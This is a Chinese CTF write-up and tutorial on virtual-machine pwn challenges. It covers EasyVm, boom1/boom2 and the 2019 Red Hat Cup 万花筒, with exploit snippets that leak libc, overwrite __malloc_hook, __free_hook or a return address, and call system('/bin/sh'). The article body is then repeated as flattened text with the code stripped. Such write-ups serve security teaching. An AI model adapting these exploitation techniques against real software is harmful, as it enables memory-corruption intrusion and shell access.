VMPwn之温故知新
字数 1687 2025-08-24 16:48:16

VMPwn技术分析与实战教学文档

一、VMPwn概述

1.1 基本概念

VMPwn是指通过实现虚拟指令集来模拟程序运行的Pwn题目类型,主要考察逆向分析和漏洞利用能力。

1.2 主要分类

  1. 汇编类VMPwn:在机器码层面模拟程序执行

    • 特点:指令集模拟、寄存器/内存模拟
    • 典型题目:ciscn_2019_virtual、Ogeek_ovm、D3CTF_babyrop
  2. 编译器类VMPwn:模拟高级语言代码执行

    • 特点:语言解析、语义分析
    • 典型题目:2019红帽杯-万花筒、2020网鼎杯青龙组-boom1

二、汇编类VMPwn分析

2.1 基本组成要素

  1. 代码区:存储待执行的虚拟指令
  2. 数据区
    • 模拟栈
    • 模拟寄存器
  3. 执行引擎:解释执行虚拟指令

2.2 常见漏洞类型

  1. 栈越界:模拟栈边界检查缺失
  2. BSS越界:全局数据区溢出
  3. 堆越界:堆管理不当导致的溢出

2.3 解题方法论

  1. 逆向分析流程

    • 识别VM数据结构
    • 分析指令处理逻辑
    • 定位关键指令处理函数
  2. 漏洞利用步骤

    • 通过越界读写泄露关键地址
    • 构造ROP链或覆盖hook函数
    • 劫持控制流执行shellcode

三、实战案例1:2020-no-Conv-CTF_EasyVm

3.1 程序分析

  1. 核心数据结构
struct node{
    unsigned int reg[6];    // 模拟寄存器
    unsigned int chunk1;    // 数据块1
    unsigned int chunk2;    // 数据块2
    unsigned int memchunk;  // 内存块
    unsigned int res2;
    unsigned int chunk_addr; // 块地址
};
  1. 关键指令
  • 0x80:ptr_chunk[idx] = val(存在堆越界写)
  • 0x53:putchar(*reg[3])(输出泄露)
  • 0x76:reg[3] = *(ptr_chunk->chunk1)
  • 0x54:*reg[3] = getchar()(输入控制)
  • 0x9/0x11:地址泄露组合

3.2 漏洞利用

  1. 泄露程序基址

    • 使用0x9+0x11指令组合泄露bss地址
    • 计算程序加载基址
  2. 泄露libc地址

    • 通过0x80指令将reg[3]改为puts@got
    • 使用0x53指令分4次泄露puts地址
  3. getshell

    • 0x80+0x76+0x54组合写入__malloc_hook
    • 分4次写入one_gadget

3.3 EXP关键代码

# leak proc base
Gift()
data = p8(0x9)+p8(0x11)+p8(0x99)
Add(data)
Start()

# leak libc
data = p8(0x80)+p8(0x3)+p32(code_base+0x0002fd0)+p8(0x53)+'\x00'
data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd1)+p8(0x53)+'\x00'
# ... 分4次泄露

# get shell
data = p8(0x80)+p8(0x6)+p32(fake_heap)+p8(0x76)+p32(malloc)+p8(0x54)+'\x00'
# ... 分4次写入one_gadget

四、实战案例2:网鼎杯青龙组boom2

4.1 程序特点

  • 使用mmap分配大内存块
  • 限制执行30条指令
  • 存在堆地址与栈地址交叉引用

4.2 关键指令

  1. 0x0v36 = &chunk_8000_addr[*buf2](堆越界读)
  2. 0x6chunk_8000_addr_sub_1 = &chunk_8000_addr_sub_2[-*buf4]
  3. 0x9v36 = *(_QWORD *)v36(指针解引用)
  4. 0x11**v13 = v36(双重赋值)
  5. 0x13*chunk_8000_addr_sub_1 = v36

4.3 漏洞利用

  1. 构造返回地址覆盖

    • 通过指令组合计算libc地址
    • 将one_gadget写入返回地址
  2. EXP构造

payload = flat([
    0,-4,  # set v36 = map_addr
    9,     # set v36 = stack_addr
    6,0x101e0, # set chunk_8000_addr_sub_1
    25,    # set v36 = retn_addr
    6,-0x101e3, # set chunk_8000_addr_sub_1 = map_addr
    13,    # set map_addr(retn_addr)
    # ... 后续计算one_gadget并写入
])

五、编译器类VMPwn分析

5.1 2019红帽杯-万花筒

  1. 漏洞原理

    • 通过定义与库函数同名的空函数
    • 绕过检查直接调用系统函数
  2. 利用步骤

    • 定义mmap和read函数
    • 分配固定地址内存并写入"/bin/sh"
    • 调用system执行
  3. 关键payload

"def mmap(a b c d e f);"
"mmap(1,1,1,1,1,1);"
"def read(a b c);"
"read(1,1,1);"
"mmap(0x10000,0x1000,3,34,0,0);"
"read(0,65536,20);"  # 写入"/bin/sh"
"def system(a);"
"system(65536);"

5.2 2020网鼎杯青龙组-boom1

  1. 漏洞利用

    • 利用map分配的内存地址固定特性
    • 通过变量地址计算libc地址
    • 覆盖__free_hook为system
  2. 关键payload

main(){
    int a;
    a=0x12345677;
    *(&a-161542)=&a-620937; // 计算并覆盖__free_hook
    free("/bin/sh");        // 触发system
}

六、防御与检测建议

  1. 边界检查

    • 严格校验所有内存访问操作
    • 实现完善的寄存器范围检查
  2. 隔离设计

    • 代码区与数据区分离
    • 使用独立的地址空间
  3. 指令限制

    • 限制危险指令组合
    • 实现执行流完整性检查
  4. 随机化

    • 内存布局随机化
    • 指令编码随机化

七、总结与思考

  1. 汇编类VMPwn

    • 核心是逆向和指令组合
    • 重点在于理解虚拟指令语义
  2. 编译器类VMPwn

    • 需要动态调试寻找规律
    • 关注语言解析器的设计缺陷
  3. 发展趋势

    • 混合型VMPwn题目增多
    • 增加了JIT、优化等复杂特性
    • 向真实虚拟机漏洞利用靠拢
VMPwn技术分析与实战教学文档 一、VMPwn概述 1.1 基本概念 VMPwn是指通过实现虚拟指令集来模拟程序运行的Pwn题目类型,主要考察逆向分析和漏洞利用能力。 1.2 主要分类 汇编类VMPwn :在机器码层面模拟程序执行 特点:指令集模拟、寄存器/内存模拟 典型题目:ciscn_ 2019_ virtual、Ogeek_ ovm、D3CTF_ babyrop 编译器类VMPwn :模拟高级语言代码执行 特点:语言解析、语义分析 典型题目:2019红帽杯-万花筒、2020网鼎杯青龙组-boom1 二、汇编类VMPwn分析 2.1 基本组成要素 代码区 :存储待执行的虚拟指令 数据区 : 模拟栈 模拟寄存器 执行引擎 :解释执行虚拟指令 2.2 常见漏洞类型 栈越界 :模拟栈边界检查缺失 BSS越界 :全局数据区溢出 堆越界 :堆管理不当导致的溢出 2.3 解题方法论 逆向分析流程 : 识别VM数据结构 分析指令处理逻辑 定位关键指令处理函数 漏洞利用步骤 : 通过越界读写泄露关键地址 构造ROP链或覆盖hook函数 劫持控制流执行shellcode 三、实战案例1:2020-no-Conv-CTF_ EasyVm 3.1 程序分析 核心数据结构 : 关键指令 : 0x80: ptr_chunk[idx] = val (存在堆越界写) 0x53: putchar(*reg[3]) (输出泄露) 0x76: reg[3] = *(ptr_chunk->chunk1) 0x54: *reg[3] = getchar() (输入控制) 0x9/0x11:地址泄露组合 3.2 漏洞利用 泄露程序基址 : 使用0x9+0x11指令组合泄露bss地址 计算程序加载基址 泄露libc地址 : 通过0x80指令将reg[ 3 ]改为puts@got 使用0x53指令分4次泄露puts地址 getshell : 0x80+0x76+0x54组合写入__ malloc_ hook 分4次写入one_ gadget 3.3 EXP关键代码 四、实战案例2:网鼎杯青龙组boom2 4.1 程序特点 使用mmap分配大内存块 限制执行30条指令 存在堆地址与栈地址交叉引用 4.2 关键指令 0x0 : v36 = &chunk_8000_addr[*buf2] (堆越界读) 0x6 : chunk_8000_addr_sub_1 = &chunk_8000_addr_sub_2[-*buf4] 0x9 : v36 = *(_QWORD *)v36 (指针解引用) 0x11 : **v13 = v36 (双重赋值) 0x13 : *chunk_8000_addr_sub_1 = v36 4.3 漏洞利用 构造返回地址覆盖 : 通过指令组合计算libc地址 将one_ gadget写入返回地址 EXP构造 : 五、编译器类VMPwn分析 5.1 2019红帽杯-万花筒 漏洞原理 : 通过定义与库函数同名的空函数 绕过检查直接调用系统函数 利用步骤 : 定义mmap和read函数 分配固定地址内存并写入"/bin/sh" 调用system执行 关键payload : 5.2 2020网鼎杯青龙组-boom1 漏洞利用 : 利用map分配的内存地址固定特性 通过变量地址计算libc地址 覆盖__ free_ hook为system 关键payload : 六、防御与检测建议 边界检查 : 严格校验所有内存访问操作 实现完善的寄存器范围检查 隔离设计 : 代码区与数据区分离 使用独立的地址空间 指令限制 : 限制危险指令组合 实现执行流完整性检查 随机化 : 内存布局随机化 指令编码随机化 七、总结与思考 汇编类VMPwn : 核心是逆向和指令组合 重点在于理解虚拟指令语义 编译器类VMPwn : 需要动态调试寻找规律 关注语言解析器的设计缺陷 发展趋势 : 混合型VMPwn题目增多 增加了JIT、优化等复杂特性 向真实虚拟机漏洞利用靠拢